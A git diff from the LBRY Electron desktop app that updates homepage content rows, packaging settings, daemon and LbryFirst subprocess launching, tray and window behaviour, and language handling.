||||
.subtract(1, 'year')
|
||||
.startOf('week')
|
||||
.unix()
|
||||
)}`,
|
||||
pageSize: subscribedChannels.length > 3 ? 8 : 4,
|
||||
channelIds: subscribedChannels.map((subscription: Subscription) => {
|
||||
const { channelClaimId } = parseURI(subscription.uri);
|
||||
return channelClaimId;
|
||||
}),
|
||||
},
|
||||
};
|
||||
|
||||
const TOP_CONTENT_TODAY = {
|
||||
title: 'Top Content from Today',
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TOP}&${CS.FRESH_KEY}=${CS.FRESH_DAY}`,
|
||||
options: {
|
||||
pageSize: showPersonalizedChannels || showPersonalizedTags ? 4 : 8,
|
||||
orderBy: ['effective_amount'],
|
||||
claimType: ['stream'],
|
||||
releaseTime: `>${Math.floor(
|
||||
moment()
|
||||
.subtract(1, 'day')
|
||||
.startOf('day')
|
||||
.unix()
|
||||
)}`,
|
||||
},
|
||||
};
|
||||
|
||||
const TOP_CHANNELS = {
|
||||
title: 'Top Channels On LBRY',
|
||||
link: `/$/${PAGES.DISCOVER}?claim_type=channel&${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TOP}&${CS.FRESH_KEY}=${CS.FRESH_ALL}`,
|
||||
options: {
|
||||
orderBy: ['effective_amount'],
|
||||
claimType: ['channel'],
|
||||
},
|
||||
};
|
||||
|
||||
const TRENDING_CLASSICS = {
|
||||
title: 'Trending Classics',
|
||||
link: `/$/${PAGES.DISCOVER}?${CS.ORDER_BY_KEY}=${CS.ORDER_BY_TRENDING}&${CS.FRESH_KEY}=${CS.FRESH_WEEK}`,
|
||||
options: {
|
||||
pageSize: 4,
|
||||
claimType: ['stream'],
|
||||
releaseTime: `<${Math.floor(
|
||||
moment()
|
||||
.subtract(6, 'month')
|
||||
.startOf('day')
|
||||
.unix()
|
||||
)}`,
|
||||
},
|
||||
};
|
||||
|
||||
const TRENDING_ON_LBRY = {
|
||||
title: 'Trending On LBRY',
|
||||
link: `/$/${PAGES.DISCOVER}`,
|
||||
options: {
|
||||
pageSize: showPersonalizedChannels || showPersonalizedTags ? 4 : 8,
|
||||
},
|
||||
};
|
||||
|
||||
const TRENDING_FOR_TAGS = {
|
||||
title: 'Trending For Your Tags',
|
||||
link: `/$/${PAGES.TAGS_FOLLOWING}`,
|
||||
options: {
|
||||
tags: followedTags.map(tag => tag.name),
|
||||
claimType: ['stream'],
|
||||
},
|
||||
};
|
||||
|
||||
const LATEST_FROM_LBRY = {
|
||||
title: 'Latest From @lbry',
|
||||
link: `/@lbry:3f`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
pageSize: 4,
|
||||
channelIds: ['3fda836a92faaceedfe398225fb9b2ee2ed1f01a'],
|
||||
},
|
||||
};
|
||||
|
||||
const LATEST_FROM_LBRYCAST = {
|
||||
title: 'Latest From @lbrycast',
|
||||
link: `/@lbrycast:4`,
|
||||
options: {
|
||||
orderBy: ['release_time'],
|
||||
pageSize: 4,
|
||||
channelIds: ['4c29f8b013adea4d5cca1861fb2161d5089613ea'],
|
||||
},
|
||||
};
|
||||
|
||||
if (showPersonalizedChannels) rowData.push(RECENT_FROM_FOLLOWING);
|
||||
if (showPersonalizedTags && !showIndividualTags) rowData.push(TRENDING_FOR_TAGS);
|
||||
if (showPersonalizedTags && showIndividualTags) {
|
||||
individualTagDataItems.forEach((item: RowDataItem) => {
|
||||
rowData.push(item);
|
||||
});
|
||||
}
|
||||
if (authenticated) {
|
||||
rowData.push(TV_PAID_BETA_ROW);
|
||||
}
|
||||
rowData.push(TOP_CONTENT_TODAY);
|
||||
rowData.push(TRENDING_ON_LBRY);
|
||||
if (!showPersonalizedChannels) rowData.push(TOP_CHANNELS);
|
||||
if (!authenticated) {
|
||||
rowData.push(TV_PAID_BETA_ROW);
|
||||
}
|
||||
rowData.push(TRENDING_CLASSICS);
|
||||
rowData.push(LATEST_FROM_LBRYCAST);
|
||||
rowData.push(LATEST_FROM_LBRY);
|
||||
|
||||
return rowData;
|
||||
}
|
||||
File renamed without changes.
@@ -0,0 +1,2 @@
|
||||
User-agent: *
|
||||
Allow: /
|
||||
@@ -0,0 +1,2 @@
|
||||
User-agent: *
|
||||
Disallow: /
|
||||
@@ -1,16 +0,0 @@
|
||||
import { danger, warn } from 'danger';
|
||||
|
||||
// No PR is too small to include a description of why you made a change
|
||||
if (!danger.github.pr.body || danger.github.pr.body.length < 10) {
|
||||
const title = ':grey_question: No Description';
|
||||
const idea = 'Please include a description of your PR changes.';
|
||||
warn(`${title} - <i>${idea}</i>`);
|
||||
}
|
||||
|
||||
// Check for a CHANGELOG entry
|
||||
const hasChangelog = danger.git.modified_files.some(f => f === 'CHANGELOG.md');
|
||||
if (!hasChangelog) {
|
||||
const title = ':page_facing_up: Changelog Entry Missing';
|
||||
const idea = 'Please add a changelog entry for your changes.';
|
||||
warn(`${title} - <i>${idea}</i>`);
|
||||
}
|
||||
+32
-28
@@ -5,30 +5,41 @@
|
||||
"output": "dist/electron"
|
||||
},
|
||||
"files": [
|
||||
{
|
||||
"from": "dist/electron/ui",
|
||||
"to": "./",
|
||||
"filter": ["!dist/!electron/ui/**/*"]
|
||||
},
|
||||
{
|
||||
"from": "dist/electron/webpack",
|
||||
"to": "./",
|
||||
"filter": ["!dist/!electron/!webpack/*.js", "!dist/!electron/!webpack/!static/**/*"]
|
||||
"to": "./"
|
||||
},
|
||||
{
|
||||
"from": "dist/electron/static",
|
||||
"to": "./",
|
||||
"filter": ["!dist/!electron/!static/index.html"]
|
||||
"to": "./"
|
||||
}
|
||||
],
|
||||
"extraResources": [
|
||||
{
|
||||
"from": "./static/daemon/",
|
||||
"to": "static/daemon/",
|
||||
"filter": ["**/*"]
|
||||
},
|
||||
{
|
||||
"from": "./static/lbry-first/",
|
||||
"to": "static/lbry-first/",
|
||||
"filter": ["**/*"]
|
||||
},
|
||||
{
|
||||
"from": "./static/img",
|
||||
"to": "static/img",
|
||||
"filter": ["**/*"]
|
||||
},
|
||||
{
|
||||
"from": "./static/font",
|
||||
"to": "static/font",
|
||||
"filter": ["**/*"]
|
||||
}
|
||||
],
|
||||
"publish": [
|
||||
{
|
||||
"provider": "s3",
|
||||
"bucket": "build.lbry.io",
|
||||
"path": "app/release",
|
||||
"region": "us-east-1"
|
||||
},
|
||||
"github"
|
||||
"provider": "github"
|
||||
}
|
||||
],
|
||||
"mac": {
|
||||
"category": "public.app-category.entertainment"
|
||||
@@ -63,23 +74,15 @@
|
||||
}
|
||||
],
|
||||
"linux": {
|
||||
"target": "deb",
|
||||
"executableName": "LBRY",
|
||||
"target": ["AppImage", "deb"],
|
||||
"executableName": "lbry",
|
||||
"category": "AudioVideo;Video",
|
||||
"desktop": {
|
||||
"MimeType": "x-scheme-handler/lbry"
|
||||
}
|
||||
},
|
||||
"deb": {
|
||||
"depends": [
|
||||
"gconf2",
|
||||
"gconf-service",
|
||||
"libnotify4",
|
||||
"libappindicator1",
|
||||
"libxtst6",
|
||||
"libnss3",
|
||||
"libsecret-1-0"
|
||||
]
|
||||
"depends": ["gconf2", "gconf-service", "libnotify4", "libappindicator1", "libxtst6", "libnss3"]
|
||||
},
|
||||
"nsis": {
|
||||
"perMachine": true,
|
||||
@@ -90,9 +93,10 @@
|
||||
"target": [
|
||||
{
|
||||
"target": "nsis",
|
||||
"arch": ["x64", "ia32"]
|
||||
"arch": ["x64"]
|
||||
}
|
||||
]
|
||||
},
|
||||
"artifactName": "${productName}_${version}.${ext}"
|
||||
"artifactName": "${productName}_${version}.${ext}",
|
||||
"afterSign": "./build/afterSignHook.js"
|
||||
}
|
||||
@@ -1,13 +1,21 @@
|
||||
import path from 'path';
|
||||
import fs from 'fs';
|
||||
import { spawn, execSync } from 'child_process';
|
||||
import { Lbry } from 'lbry-redux';
|
||||
|
||||
export default class Daemon {
|
||||
static path =
|
||||
static lbrynetPath =
|
||||
process.env.LBRY_DAEMON ||
|
||||
(process.env.NODE_ENV === 'production'
|
||||
? path.join(process.resourcesPath, 'static/daemon', 'lbrynet')
|
||||
: path.join(__static, 'daemon/lbrynet'));
|
||||
|
||||
static headersPath =
|
||||
process.env.LBRY_DAEMON ||
|
||||
(process.env.NODE_ENV === 'production'
|
||||
? path.join(process.resourcesPath, 'static/daemon', 'headers')
|
||||
: path.join(__static, 'daemon/headers'));
|
||||
|
||||
subprocess;
|
||||
handlers;
|
||||
|
||||
@@ -16,8 +24,13 @@ export default class Daemon {
|
||||
}
|
||||
|
||||
launch() {
|
||||
this.subprocess = spawn(Daemon.path, ['start']);
|
||||
let flags = ['start'];
|
||||
|
||||
if (fs.existsSync(Daemon.headersPath)) {
|
||||
flags.push(`--initial-headers=${Daemon.headersPath}`);
|
||||
}
|
||||
|
||||
this.subprocess = spawn(Daemon.lbrynetPath, flags);
|
||||
this.subprocess.stdout.on('data', data => console.log(`Daemon: ${data}`));
|
||||
this.subprocess.stderr.on('data', data => console.error(`Daemon: ${data}`));
|
||||
this.subprocess.on('exit', () => this.fire('exit'));
|
||||
@@ -0,0 +1,59 @@
|
||||
import path from 'path';
|
||||
import { spawn, execSync } from 'child_process';
|
||||
|
||||
export default class LbryFirstInstance {
|
||||
static lbryFirstPath =
|
||||
process.env.LBRY_FIRST_DAEMON ||
|
||||
(process.env.NODE_ENV === 'production'
|
||||
? path.join(process.resourcesPath, 'static/lbry-first', 'lbry-first')
|
||||
: path.join(__static, 'lbry-first/lbry-first'));
|
||||
|
||||
static headersPath =
|
||||
process.env.LBRY_FIRST_DAEMON ||
|
||||
(process.env.NODE_ENV === 'production'
|
||||
? path.join(process.resourcesPath, 'static/lbry-first', 'headers')
|
||||
: path.join(__static, 'lbry-first/headers'));
|
||||
|
||||
subprocess;
|
||||
handlers;
|
||||
|
||||
constructor() {
|
||||
this.handlers = [];
|
||||
}
|
||||
|
||||
launch() {
|
||||
let flags = ['serve'];
|
||||
console.log(`LbryFirst: ${LbryFirstInstance.lbryFirstPath}`);
|
||||
this.subprocess = spawn(LbryFirstInstance.lbryFirstPath, flags);
|
||||
this.subprocess.stdout.on('data', data => console.log(`LbryFirst: ${data}`));
|
||||
this.subprocess.stderr.on('data', data => console.error(`LbryFirst: ${data}`));
|
||||
this.subprocess.on('exit', () => this.fire('exit'));
|
||||
this.subprocess.on('error', error => console.error(`LbryFirst error: ${error}`));
|
||||
}
|
||||
|
||||
quit() {
|
||||
if (process.platform === 'win32') {
|
||||
try {
|
||||
execSync(`taskkill /pid ${this.subprocess.pid} /t /f`);
|
||||
} catch (error) {
|
||||
console.error(error.message);
|
||||
}
|
||||
} else {
|
||||
this.subprocess.kill();
|
||||
}
|
||||
}
|
||||
|
||||
// Follows the publish/subscribe pattern
|
||||
|
||||
// Subscribe method
|
||||
on(event, handler, context = handler) {
|
||||
this.handlers.push({ event, handler: handler.bind(context) });
|
||||
}
|
||||
|
||||
// Publish method
|
||||
fire(event, args) {
|
||||
this.handlers.forEach(topic => {
|
||||
if (topic.event === event) topic.handler(args);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -6,6 +6,26 @@ let tray;
|
||||
export default window => {
|
||||
let iconPath;
|
||||
|
||||
/*
|
||||
* A maximized window can't be properly
|
||||
* restored when minimized to the taskbar
|
||||
* (it will be restored/showed as unmaximized).
|
||||
*
|
||||
* window.isMaximized() will also return
|
||||
* false when minimizing a maximized window.
|
||||
*
|
||||
* The safest way to keep track of the
|
||||
* maximized state using maximize and
|
||||
* unmaximize events.
|
||||
*/
|
||||
let isWindowMaximized = false;
|
||||
window.on('maximize', () => {
|
||||
isWindowMaximized = true;
|
||||
});
|
||||
window.on('unmaximize', () => {
|
||||
isWindowMaximized = false;
|
||||
});
|
||||
|
||||
switch (process.platform) {
|
||||
case 'darwin': {
|
||||
iconPath = 'static/img/tray/mac/trayTemplate.png';
|
||||
@@ -22,18 +42,21 @@ export default window => {
|
||||
|
||||
tray = new Tray(process.env.NODE_ENV === 'development' ? iconPath : path.join(process.resourcesPath, iconPath));
|
||||
|
||||
tray.on('double-click', () => {
|
||||
const restoreFromTray = () => {
|
||||
if (isWindowMaximized) {
|
||||
window.maximize();
|
||||
}
|
||||
window.show();
|
||||
});
|
||||
};
|
||||
|
||||
tray.on('double-click', restoreFromTray);
|
||||
|
||||
tray.setToolTip('LBRY App');
|
||||
|
||||
const template = [
|
||||
{
|
||||
label: `Open ${app.getName()}`,
|
||||
click: () => {
|
||||
window.show();
|
||||
},
|
||||
label: `Open ${app.name}`,
|
||||
click: restoreFromTray,
|
||||
},
|
||||
{ role: 'quit' },
|
||||
];
|
||||
@@ -1,9 +1,27 @@
|
||||
import { app, BrowserWindow, dialog, shell, screen } from 'electron';
|
||||
import { WEBPACK_ELECTRON_PORT } from 'config';
|
||||
import { app, BrowserWindow, dialog, shell, screen, nativeImage } from 'electron';
|
||||
import isDev from 'electron-is-dev';
|
||||
import windowStateKeeper from 'electron-window-state';
|
||||
import SUPPORTED_LANGUAGES from 'constants/supported_languages';
|
||||
import { SUPPORTED_SUB_LANGUAGE_CODES, SUB_LANG_CODE_LEN } from 'constants/supported_sub_languages';
|
||||
import SUPPORTED_BROWSER_LANGUAGES from 'constants/supported_browser_languages';
|
||||
import { TO_TRAY_WHEN_CLOSED } from 'constants/settings';
|
||||
|
||||
import setupBarMenu from './menu/setupBarMenu';
|
||||
import * as PAGES from '../../ui/constants/pages';
|
||||
import * as PAGES from 'constants/pages';
|
||||
|
||||
function GetAppLangCode() {
|
||||
// https://www.electronjs.org/docs/api/locales
|
||||
// 1. Gets the user locale.
|
||||
// 2. Converts unsupported sub-languages to its primary (e.g. "en-GB" -> "en").
|
||||
// Note that the primary itself may or may not be a supported language
|
||||
// (up to clients to verify against SUPPORTED_LANGUAGES).
|
||||
const langCode = app.getLocale();
|
||||
if (langCode.length === SUB_LANG_CODE_LEN && !SUPPORTED_SUB_LANGUAGE_CODES.includes(langCode)) {
|
||||
return SUPPORTED_BROWSER_LANGUAGES[langCode.slice(0, 2)];
|
||||
}
|
||||
return SUPPORTED_BROWSER_LANGUAGES[langCode];
|
||||
}
|
||||
|
||||
export default appState => {
|
||||
// Get primary display dimensions from Electron.
|
||||
@@ -15,11 +33,14 @@ export default appState => {
|
||||
defaultHeight: height,
|
||||
});
|
||||
|
||||
const startMinimized = (process.argv || []).includes('--hidden');
|
||||
|
||||
const windowConfiguration = {
|
||||
backgroundColor: '#270f34', // Located in src/scss/init/_vars.scss `--color-background`
|
||||
backgroundColor: '#270f34', // Located in src/scss/init/_vars.scss `--color-background--splash`
|
||||
minWidth: 950,
|
||||
minHeight: 600,
|
||||
autoHideMenuBar: true,
|
||||
titleBarStyle: 'hiddenInset',
|
||||
show: false,
|
||||
// Create the window using the state information.
|
||||
x: windowState.x,
|
||||
@@ -27,16 +48,17 @@ export default appState => {
|
||||
// If state is undefined, create window as maximized.
|
||||
width: windowState.width === undefined ? width : windowState.width,
|
||||
height: windowState.height === undefined ? height : windowState.height,
|
||||
icon: 'static/img/tray/windows/tray.png',
|
||||
icon: nativeImage.createFromPath('static/img/tray/default/tray.png'),
|
||||
webPreferences: {
|
||||
// Disable renderer process's webSecurity on development to enable CORS.
|
||||
webSecurity: !isDev,
|
||||
plugins: true,
|
||||
nodeIntegration: true,
|
||||
},
|
||||
};
|
||||
const lbryProto = 'lbry://';
|
||||
const lbryProtoQ = 'lbry://?';
|
||||
const rendererURL = isDev ? `http://localhost:${WEBPACK_PORT}` : `file://${__dirname}/index.html`;
|
||||
const rendererURL = isDev ? `http://localhost:${WEBPACK_ELECTRON_PORT}` : `file://${__dirname}/index.html`;
|
||||
|
||||
let window = new BrowserWindow(windowConfiguration);
|
||||
|
||||
@@ -69,7 +91,9 @@ export default appState => {
|
||||
|
||||
// is it a lbry://? pointing to an app page
|
||||
if (deepLinkingURI.includes(lbryProtoQ)) {
|
||||
if (Object.values(PAGES).includes(deepLinkingURI.substr(lbryProtoQ.length))) {
|
||||
let path = deepLinkingURI.substr(lbryProtoQ.length);
|
||||
let page = path.indexOf('?') >= 0 ? path.substring(0, path.indexOf('?')) : path;
|
||||
if (Object.values(PAGES).includes(page)) {
|
||||
deepLinkingURI = deepLinkingURI.replace(lbryProtoQ, '#/$/');
|
||||
} else {
|
||||
deepLinkingURI = '';
|
||||
@@ -81,11 +105,16 @@ export default appState => {
|
||||
deepLinkingURI = '';
|
||||
}
|
||||
|
||||
window.loadURL(rendererURL + deepLinkingURI);
|
||||
setupBarMenu();
|
||||
|
||||
window.loadURL(rendererURL + deepLinkingURI);
|
||||
|
||||
window.on('close', event => {
|
||||
if (!appState.isQuitting && !appState.autoUpdateAccepted) {
|
||||
if (appState.isQuitting) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!appState.autoUpdateAccepted) {
|
||||
event.preventDefault();
|
||||
if (window.isFullScreen()) {
|
||||
window.once('leave-full-screen', () => {
|
||||
@@ -96,6 +125,16 @@ export default appState => {
|
||||
window.hide();
|
||||
}
|
||||
}
|
||||
|
||||
const getToTrayWhenClosedSetting = window.webContents.executeJavaScript(`localStorage.getItem('${TO_TRAY_WHEN_CLOSED}')`);
|
||||
|
||||
getToTrayWhenClosedSetting.then(toTrayWhenClosedSetting => {
|
||||
const closeApp = toTrayWhenClosedSetting === 'false';
|
||||
|
||||
if (closeApp) {
|
||||
app.quit();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
window.on('focus', () => {
|
||||
@@ -118,15 +157,29 @@ export default appState => {
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
window.once('ready-to-show', () => {
|
||||
window.show();
|
||||
startMinimized ? window.hide() : window.show();
|
||||
});
|
||||
|
||||
// A backup incase https://github.com/electron/electron/issues/7779 happens
|
||||
window.webContents.once('dom-ready', () => {
|
||||
startMinimized && window.hide();
|
||||
});
|
||||
|
||||
window.webContents.on('did-finish-load', () => {
|
||||
window.webContents.session.setUserAgent(`LBRY/${app.getVersion()}`);
|
||||
if (isDev) {
|
||||
window.webContents.openDevTools();
|
||||
}
|
||||
|
||||
// restore the user's previous language - we have to do this from here because only electron process can access app.getLocale()
|
||||
window.webContents.executeJavaScript("localStorage.getItem('language')").then(storedLanguage => {
|
||||
const language =
|
||||
storedLanguage && storedLanguage !== 'undefined' && storedLanguage !== 'null'
|
||||
? storedLanguage
|
||||
: GetAppLangCode();
|
||||
if (language !== 'en' && SUPPORTED_LANGUAGES[language]) {
|
||||
window.webContents.send('language-set', language);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
window.webContents.on('crashed', () => {
|
||||
@@ -138,5 +191,34 @@ export default appState => {
|
||||
shell.openExternal(url);
|
||||
});
|
||||
|
||||
window.webContents.on('update-target-url', (event, url) => {
|
||||
// Change internal links to the lbry protocol. External (https) links should remain unchanged.
|
||||
let hoverUrlBase = `http://localhost:${WEBPACK_ELECTRON_PORT}/`;
|
||||
if (!isDev) {
|
||||
// Return format of 'update-target-url':
|
||||
// Linux: file:///@claim
|
||||
// Windows: file:///C:/@claim
|
||||
// Use '__dirname' in case installation is not in C:
|
||||
const path = require('path');
|
||||
const exeRoot = path.parse(__dirname).root;
|
||||
|
||||
if (process.platform === 'win32') {
|
||||
// Add extra "/" prefix. Convert "C:\" to "C:/"
|
||||
hoverUrlBase = `file:///` + exeRoot.replace(/\\/g, '/');
|
||||
} else {
|
||||
hoverUrlBase = `file://` + exeRoot;
|
||||
}
|
||||
}
|
||||
|
||||
let dispUrl = url.replace(hoverUrlBase, lbryProto);
|
||||
// Non-claims don't need the lbry protocol:
|
||||
if (dispUrl === lbryProto) {
|
||||
dispUrl = 'Home';
|
||||
} else if (dispUrl.startsWith(lbryProto + '$/')) {
|
||||
dispUrl = dispUrl.replace(lbryProto, '/');
|
||||
}
|
||||
window.webContents.send('update-target-url', dispUrl);
|
||||
});
|
||||
|
||||
return window;
|
||||
};
|
||||
@@ -1,3 +1,5 @@
|
||||
/* eslint-disable no-console */
|
||||
const { WEBPACK_ELECTRON_PORT } = require('../config');
|
||||
const chalk = require('chalk');
|
||||
const webpack = require('webpack');
|
||||
const merge = require('webpack-merge');
|
||||
@@ -5,22 +7,20 @@ const middleware = require('webpack-dev-middleware');
|
||||
const express = require('express');
|
||||
const app = express();
|
||||
|
||||
// Primary definition for this is in webpack.web.config.js
|
||||
// We can't access it here because webpack isn't running on this file
|
||||
const WEBPACK_PORT = 9090;
|
||||
|
||||
console.log(
|
||||
chalk.magenta(`Compiling ${chalk.underline('main')} and ${chalk.underline('render')}, this will take a while.`)
|
||||
);
|
||||
|
||||
let [mainConfig, renderConfig] = require('../../../webpack.electron.config.js');
|
||||
let [mainConfig, renderConfig] = require('../webpack.electron.config.js');
|
||||
|
||||
renderConfig = merge(renderConfig, {
|
||||
entry: { ui: ['webpack-hot-middleware/client'] },
|
||||
plugins: [new webpack.HotModuleReplacementPlugin()],
|
||||
resolve: {
|
||||
alias: { 'react-dom': '@hot-loader/react-dom' },
|
||||
symlinks: false,
|
||||
},
|
||||
|
||||
});
|
||||
|
||||
const mainCompiler = webpack(mainConfig);
|
||||
@@ -41,8 +41,8 @@ app.use(require('webpack-hot-middleware')(renderCompiler));
|
||||
app.use(renderInstance);
|
||||
app.use(express.static('dist/electron/static'));
|
||||
|
||||
app.listen(WEBPACK_PORT, () => {
|
||||
console.log(chalk.yellow.bold(`Renderer listening on port ${WEBPACK_PORT} (still compiling)`));
|
||||
app.listen(WEBPACK_ELECTRON_PORT, () => {
|
||||
console.log(chalk.yellow.bold(`Renderer listening on port ${WEBPACK_ELECTRON_PORT} (still compiling)`));
|
||||
});
|
||||
|
||||
mainInstance.waitUntilValid(() => console.log(chalk.green(`${chalk.underline('main')} compilation complete.`)));
|
||||
@@ -67,3 +67,4 @@ mainInstance.waitUntilValid(() => {
|
||||
process.exit();
|
||||
});
|
||||
});
|
||||
/* eslint-enable no-console */
|
||||
@@ -1,20 +1,31 @@
|
||||
/* eslint no-console:0 */
|
||||
/* eslint space-before-function-paren:0 */
|
||||
// Module imports
|
||||
import '@babel/polyfill';
|
||||
import keytar from 'keytar';
|
||||
import SemVer from 'semver';
|
||||
import https from 'https';
|
||||
import { app, dialog, ipcMain, session, shell } from 'electron';
|
||||
import { autoUpdater } from 'electron-updater';
|
||||
import { Lbry } from 'lbry-redux';
|
||||
import LbryFirstInstance from './LbryFirstInstance';
|
||||
import Daemon from './Daemon';
|
||||
import isDev from 'electron-is-dev';
|
||||
import createTray from './createTray';
|
||||
import createWindow from './createWindow';
|
||||
import pjson from '../../../package.json';
|
||||
import pjson from '../package.json';
|
||||
import startSandbox from './startSandbox';
|
||||
import installDevtools from './installDevtools';
|
||||
|
||||
autoUpdater.autoDownload = true;
|
||||
import fs from 'fs';
|
||||
import path from 'path';
|
||||
const filePath = path.join(process.resourcesPath, 'static', 'upgradeDisabled');
|
||||
let upgradeDisabled;
|
||||
try {
|
||||
fs.accessSync(filePath, fs.constants.R_OK);
|
||||
upgradeDisabled = true;
|
||||
} catch (err) {
|
||||
upgradeDisabled = false;
|
||||
}
|
||||
autoUpdater.autoDownload = !upgradeDisabled;
|
||||
|
||||
// This is set to true if an auto update has been downloaded through the Electron
|
||||
// auto-update system and is ready to install. If the user declined an update earlier,
|
||||
@@ -29,14 +40,20 @@ let showingAutoUpdateCloseAlert = false;
|
||||
// object is garbage collected.
|
||||
let rendererWindow;
|
||||
|
||||
let tray;
|
||||
let tray; // eslint-disable-line
|
||||
let daemon;
|
||||
let lbryFirst;
|
||||
|
||||
const appState = {};
|
||||
|
||||
app.setAsDefaultProtocolClient('lbry');
|
||||
app.setName('LBRY');
|
||||
if (process.platform !== 'linux') {
|
||||
app.setAsDefaultProtocolClient('lbry');
|
||||
}
|
||||
|
||||
app.name = 'LBRY';
|
||||
app.setAppUserModelId('io.lbry.LBRY');
|
||||
app.commandLine.appendSwitch('force-color-profile', 'srgb');
|
||||
app.commandLine.appendSwitch('disable-features', 'OutOfBlinkCors');
|
||||
|
||||
if (isDev) {
|
||||
// Disable security warnings in dev mode:
|
||||
@@ -76,6 +93,52 @@ const startDaemon = async () => {
|
||||
}
|
||||
};
|
||||
|
||||
let isLbryFirstRunning = false;
|
||||
const startLbryFirst = async () => {
|
||||
if (isLbryFirstRunning) {
|
||||
console.log('LbryFirst already running');
|
||||
handleLbryFirstLaunched();
|
||||
return;
|
||||
}
|
||||
|
||||
console.log('LbryFirst: Starting...');
|
||||
|
||||
try {
|
||||
lbryFirst = new LbryFirstInstance();
|
||||
lbryFirst.on('exit', e => {
|
||||
if (!isDev) {
|
||||
lbryFirst = null;
|
||||
isLbryFirstRunning = false;
|
||||
if (!appState.isQuitting) {
|
||||
dialog.showErrorBox(
|
||||
'LbryFirst has Exited',
|
||||
'The lbryFirst may have encountered an unexpected error, or another lbryFirst instance is already running. \n\n',
|
||||
e
|
||||
);
|
||||
}
|
||||
app.quit();
|
||||
}
|
||||
});
|
||||
} catch (e) {
|
||||
console.log('LbryFirst: Failed to create new instance\n\n', e);
|
||||
}
|
||||
|
||||
console.log('LbryFirst: Running...');
|
||||
|
||||
try {
|
||||
await lbryFirst.launch();
|
||||
handleLbryFirstLaunched();
|
||||
} catch (e) {
|
||||
isLbryFirstRunning = false;
|
||||
console.log('LbryFirst: Failed to start\n', e);
|
||||
}
|
||||
};
|
||||
|
||||
const handleLbryFirstLaunched = () => {
|
||||
isLbryFirstRunning = true;
|
||||
rendererWindow.webContents.send('lbry-first-launched');
|
||||
};
|
||||
|
||||
// When we are starting the app, ensure there are no other apps already running
|
||||
const gotSingleInstanceLock = app.requestSingleInstanceLock();
|
||||
|
||||
@@ -117,7 +180,6 @@ if (!gotSingleInstanceLock) {
|
||||
if (isDev) {
|
||||
await installDevtools();
|
||||
}
|
||||
|
||||
rendererWindow = createWindow(appState);
|
||||
tray = createTray(rendererWindow);
|
||||
|
||||
@@ -128,19 +190,14 @@ if (!gotSingleInstanceLock) {
|
||||
});
|
||||
}
|
||||
|
||||
// HACK: patch webrequest to fix devtools incompatibility with electron 2.x.
|
||||
// See https://github.com/electron/electron/issues/13008#issuecomment-400261941
|
||||
session.defaultSession.webRequest.onBeforeRequest({}, (details, callback) => {
|
||||
if (details.url.indexOf('7accc8730b0f99b5e7c0702ea89d1fa7c17bfe33') !== -1) {
|
||||
callback({
|
||||
redirectURL: details.url.replace(
|
||||
'7accc8730b0f99b5e7c0702ea89d1fa7c17bfe33',
|
||||
'57c9d07b416b5a2ea23d28247300e4af36329bdc'
|
||||
),
|
||||
});
|
||||
} else {
|
||||
callback({ cancel: false });
|
||||
// If an "Origin" header is passed, the SDK will check that it is set to allow that origin in the daemon_settings.yml
|
||||
// By default, electron sends http://localhost:{port} as the origin for POST requests
|
||||
// https://github.com/electron/electron/issues/7931#issuecomment-361759277
|
||||
session.defaultSession.webRequest.onBeforeSendHeaders((details, callback) => {
|
||||
if (details.method === 'POST' && details.requestHeaders['Content-Type'] === 'application/json-rpc') {
|
||||
delete details.requestHeaders['Origin'];
|
||||
}
|
||||
callback({ cancel: false, requestHeaders: details.requestHeaders });
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -180,12 +237,18 @@ app.on('will-quit', event => {
|
||||
}
|
||||
|
||||
appState.isQuitting = true;
|
||||
|
||||
if (daemon) {
|
||||
daemon.quit();
|
||||
event.preventDefault();
|
||||
}
|
||||
if (lbryFirst) {
|
||||
lbryFirst.quit();
|
||||
event.preventDefault();
|
||||
}
|
||||
|
||||
if (rendererWindow) {
|
||||
tray.destroy();
|
||||
rendererWindow = null;
|
||||
}
|
||||
});
|
||||
@@ -213,11 +276,11 @@ ipcMain.on('upgrade', (event, installerPath) => {
|
||||
console.log('Launching upgrade installer at', installerPath);
|
||||
// This gets triggered called after *all* other quit-related events, so
|
||||
// we'll only get here if we're fully prepared and quitting for real.
|
||||
shell.openItem(installerPath);
|
||||
shell.openPath(installerPath);
|
||||
});
|
||||
// what to do if no shutdown in a long time?
|
||||
console.log('Update downloaded to', installerPath);
|
||||
console.log('The app will close, and you will be prompted to install the latest version of LBRY.');
|
||||
console.log('The app will close and you will be prompted to install the latest version of LBRY.');
|
||||
console.log('After the install is complete, please reopen the app.');
|
||||
app.quit();
|
||||
});
|
||||
@@ -269,7 +332,7 @@ ipcMain.on('version-info-requested', () => {
|
||||
}
|
||||
}
|
||||
} else if (rendererWindow) {
|
||||
rendererWindow.webContents.send('version-info-received', localVersion);
|
||||
rendererWindow.webContents.send('version-info-received', { localVersion });
|
||||
}
|
||||
});
|
||||
};
|
||||
@@ -299,17 +362,21 @@ ipcMain.on('version-info-requested', () => {
|
||||
});
|
||||
};
|
||||
|
||||
if (upgradeDisabled && rendererWindow) {
|
||||
rendererWindow.webContents.send('version-info-received', { localVersion });
|
||||
return;
|
||||
}
|
||||
|
||||
requestLatestRelease();
|
||||
});
|
||||
|
||||
ipcMain.on('get-auth-token', event => {
|
||||
keytar.getPassword('LBRY', 'auth_token').then(token => {
|
||||
event.sender.send('auth-token-response', token ? token.toString().trim() : null);
|
||||
});
|
||||
});
|
||||
|
||||
ipcMain.on('set-auth-token', (event, token) => {
|
||||
keytar.setPassword('LBRY', 'auth_token', token ? token.toString().trim() : null);
|
||||
ipcMain.on('launch-lbry-first', async () => {
|
||||
try {
|
||||
await startLbryFirst();
|
||||
} catch (e) {
|
||||
console.log('Failed to start LbryFirst');
|
||||
console.log(e);
|
||||
}
|
||||
});
|
||||
|
||||
process.on('uncaughtException', error => {
|
||||
File renamed without changes.
@@ -1,4 +1,5 @@
|
||||
import { app, Menu, shell } from 'electron';
|
||||
import { ZOOM } from 'util/zoomWindow';
|
||||
|
||||
export default () => {
|
||||
const template = [
|
||||
@@ -15,12 +16,45 @@ export default () => {
|
||||
{ role: 'cut' },
